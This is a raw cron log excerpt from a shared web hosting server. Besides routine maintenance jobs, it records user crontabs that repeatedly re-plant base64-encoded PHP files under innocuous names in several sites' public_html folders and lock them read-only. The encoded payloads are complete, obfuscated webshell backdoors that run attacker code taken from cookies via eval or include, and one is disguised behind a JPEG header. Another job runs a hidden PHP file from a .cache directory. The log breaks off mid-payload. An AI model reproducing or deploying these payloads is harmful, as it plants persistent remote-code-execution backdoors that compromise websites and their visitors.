F94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:23:01 medusa CROND[26874]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:23:01 medusa CROND[26875]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:23:01 medusa CROND[26879]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:23:01 medusa CROND[26880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:23:01 medusa CROND[26883]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:23:01 medusa CROND[26884]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:23:01 medusa CROND[26888]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:24:01 medusa CROND[16197]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:24:01 medusa CROND[16198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:24:01 medusa CROND[16199]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:24:01 medusa CROND[16200]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:24:01 medusa CROND[16202]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:24:01 medusa CROND[16203]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:24:01 medusa CROND[16205]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:24:01 medusa CROND[16206]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:24:01 medusa CROND[16207]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:24:01 medusa CROND[16209]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:24:01 medusa CROND[16211]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:24:01 medusa CROND[16213]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:24:01 medusa CROND[16215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:25:01 medusa CROND[6188]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:25:01 medusa CROND[6190]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:25:01 medusa CROND[6241]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:25:02 medusa CROND[6291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:25:02 medusa CROND[6292]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:25:02 medusa CROND[6311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:25:02 medusa CROND[6312]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:25:02 medusa CROND[6318]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:25:02 medusa CROND[6319]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:25:02 medusa CROND[6320]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:25:02 medusa CROND[6322]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:25:02 medusa CROND[6316]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  1 04:25:02 medusa CROND[6324]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:25:02 medusa CROND[6321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:25:02 medusa CROND[6325]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:25:02 medusa CROND[6330]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:25:02 medusa CROND[6331]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsK